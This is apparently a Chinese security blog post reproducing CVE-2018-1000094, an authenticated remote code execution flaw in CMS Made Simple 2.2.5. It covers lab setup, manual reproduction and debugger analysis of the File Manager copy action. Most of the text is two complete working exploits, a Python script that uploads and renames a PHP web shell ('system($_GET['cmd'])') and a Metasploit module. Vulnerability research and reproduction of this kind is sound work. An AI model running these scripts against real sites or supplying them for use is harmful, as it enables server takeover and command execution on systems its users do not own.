0x01 前言
CMS Made Simple是一个简单易于使用的内容管理系统。它使用PHP,MySQL和Smarty模板引擎开发。
昨天看漏洞库的时候看到这一款CMS,漏洞操作也挺简单的,但是可以申请CVE,于是乎就复现了一篇过程和写漏洞脚本。
0x02 环境
- 下载下来是一个安装文件
cmsms-2.2.5-install.php
,浏览器直接打开 - 默认Next,到数据库连接这一块要先创建一个数据库,我这里创建一个名为simple的数据库,然后填上数据库连接信息
- 填写管理账号密码信息
- 填写可写可读的目录和选择语言
- 安装完成,除了邮件模块,不过也用不上。
0x03 漏洞复现过程
-
登录后台
-
选择File Manager
-
编写一个文件名为a.txt内容为
<?php phpinfo();?>
的文件,然后点击上传。 -
选中a.txt,点击copy,名字改为rce.php,然后确定
-
文件就copy过来了,有点类似系统的copy命令。
-
访问
rce.php
0x04 漏洞分析过程
- 还记得上一篇的phpok的分析,如果找不出关键文件,可以抓包分析。
可以看到主要是通过文件
admin/moduleinterface.php
文件进行操作的。 可能这样看会让人很乱,我们可以用phpstorm的debug来调试整个过程 相关配置可以看https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/ - 从上面的抓包可以看出来,
mact
参数是FileManager
,m1_
是fileaction
,大家可以去这里下断点然后一步一步分析整个流程。 - 有经验可以看出来,
FileManager
就是modules\FileManager
目录,fileaction
就是modules/FileManager/action.fileaction.php
文件,再往下看代码的68行,可以看到我们的copy操作的代码。
if (isset($params["fileactioncopy"]) || $fileaction=="copy") {
include_once(__DIR__."/action.copy.php");
return;
}
- 我们找到这个文件
action.copy.php
,我们在93行下一个断点,然后去操作copy,可以看到有各种很详细的参数信息。 - 我们F7单步走,可以看到执行
$res = copy($src,$dest);
的时候没有发生错误。 - 这样就正式完成了所有操作,如有不懂可以看下官方文档的
copy
函数的用法http://www.php.net/manual/en/function.copy.php
0x05 漏洞脚本
python版本
# Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution
# Date: 3rd of July, 2018
# Exploit Author: Mustafa Hasan (@strukt93)
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://www.cmsmadesimple.org/downloads/cmsms/
# Version: 2.2.5
# CVE: CVE-2018-1000094
import requests
import base64
base_url = "http://127.0.0.1/cmsms/admin"
upload_dir = "/uploads"
upload_url = base_url.split('/admin')[0] + upload_dir
username = "admin"
password = "123456"
csrf_param = "__c"
txt_filename = 'cmsmsrce.txt'
php_filename = 'shell.php'
payload = "<?php system($_GET['cmd']);?>"
def parse_csrf_token(location):
return location.split(csrf_param + "=")[1]
def authenticate():
page = "/login.php"
url = base_url + page
data = {
"username": username,
"password": password,
"loginsubmit": "Submit"
}
response = requests.post(url, data=data, allow_redirects=False)
status_code = response.status_code
if status_code == 302:
print "[+] Authenticated successfully with the supplied credentials"
return response.cookies, parse_csrf_token(response.headers['Location'])
print "[-] Authentication failed"
return None, None
def upload_txt(cookies, csrf_token):
mact = "FileManager,m1_,upload,0"
page = "/moduleinterface.php"
url = base_url + page
data = {
"mact": mact,
csrf_param: csrf_token,
"disable_buffer": 1
}
txt = {
'm1_files[]': (txt_filename, payload)
}
print "[*] Attempting to upload {}...".format(txt_filename)
response = requests.post(url, data=data, files=txt, cookies=cookies)
status_code = response.status_code
if status_code == 200:
print "[+] Successfully uploaded {}".format(txt_filename)
return True
print "[-] An error occurred while uploading {}".format(txt_filename)
return None
def copy_to_php(cookies, csrf_token):
mact = "FileManager,m1_,fileaction,0"
page = "/moduleinterface.php"
url = base_url + page
b64 = base64.b64encode(txt_filename)
serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64)
data = {
"mact": mact,
csrf_param: csrf_token,
"m1_fileactioncopy": "",
"m1_path": upload_dir,
"m1_selall": serialized,
"m1_destdir": "/",
"m1_destname": php_filename,
"m1_submit": "Copy"
}
print "[*] Attempting to copy {} to {}...".format(txt_filename, php_filename)
response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)
status_code = response.status_code
if status_code == 302:
if response.headers['Location'].endswith('copysuccess'):
print "[+] File copied successfully"
return True
print "[-] An error occurred while copying, maybe {} already exists".format(php_filename)
return None
def quit():
print "[-] Exploit failed"
exit()
def run():
cookies,csrf_token = authenticate()
if not cookies:
quit()
if not upload_txt(cookies, csrf_token):
quit()
if not copy_to_php(cookies, csrf_token):
quit()
print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)
run()
MSF版本
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'CMS Made Simple Authenticated RCE via File Upload/Copy',
'Description' => %q{
CMS Made Simple v2.2.5 allows an authenticated administrator to upload a file
and rename it to have a .php extension. The file can then be executed by opening
the URL of the file in the /uploads/ directory.
},
'Author' =>
[
'Mustafa Hasen', # Vulnerability discovery and EDB PoC
'Jacob Robles' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-1000094' ],
[ 'CWE', '434' ],
[ 'EDB', '44976' ],
[ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ]
],
'Privileged' => false,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Universal', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 03 2018'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
])
register_advanced_options ([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.body =~ /CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/
return CheckCode::Unknown
end
version = Gem::Version.new($1)
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
if version == Gem::Version.new('2.2.5')
return CheckCode::Appears
end
if version < Gem::Version.new('2.2.5')
return CheckCode::Detected
end
CheckCode::Safe
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include?(check)
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'method' => 'POST',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginsubmit' => 'Submit'
}
})
unless res
fail_with(Failure::NotFound, 'A response was not received from the remote host')
end
unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
end
vprint_good("#{peer} - Authentication successful")
csrf_name = $1
csrf_val = $2
csrf = {csrf_name => csrf_val}
cookies = res.get_cookies
filename = rand_text_alpha(8..12)
# Generate form data
message = Rex::MIME::Message.new
message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"")
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"")
data = message.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'cookie' => cookies
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to upload the text file')
end
vprint_good("#{peer} - File uploaded #{filename}.txt")
fileb64 = Rex::Text.encode_base64("#{filename}.txt")
data = {
'mact' => 'FileManager,m1_,fileaction,0',
"m1_fileactioncopy" => "",
'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}",
'm1_destdir' => '/',
'm1_destname' => "#{filename}.php",
'm1_path' => '/uploads',
'm1_submit' => 'Copy',
csrf_name => csrf_val
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
'method' => 'POST',
'cookie' => cookies,
'vars_post' => data
})
unless res
fail_with(Failure::NotFound, 'A response was not received from the remote host')
end
unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess')
fail_with(Failure::UnexpectedReply, 'Failed to rename the file')
end
vprint_good("#{peer} - File renamed #{filename}.php")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),
'method' => 'GET',
'cookie' => cookies
})
end
end
0x06 参考
程序下载:http://s3.amazonaws.com/cmsms/downloads/14076/cmsms-2.2.5-install.zip https://www.exploit-db.com/exploits/44976/ http://dev.cmsmadesimple.org/bug/view/11741 https://packetstormsecurity.com/files/148622/CMS-Made-Simple-2.2.5-Authenticated-Remote-Command-Execution.html
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/cve-2018-1000094-cmsms-2.2.5-code-execution-vulnerability.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。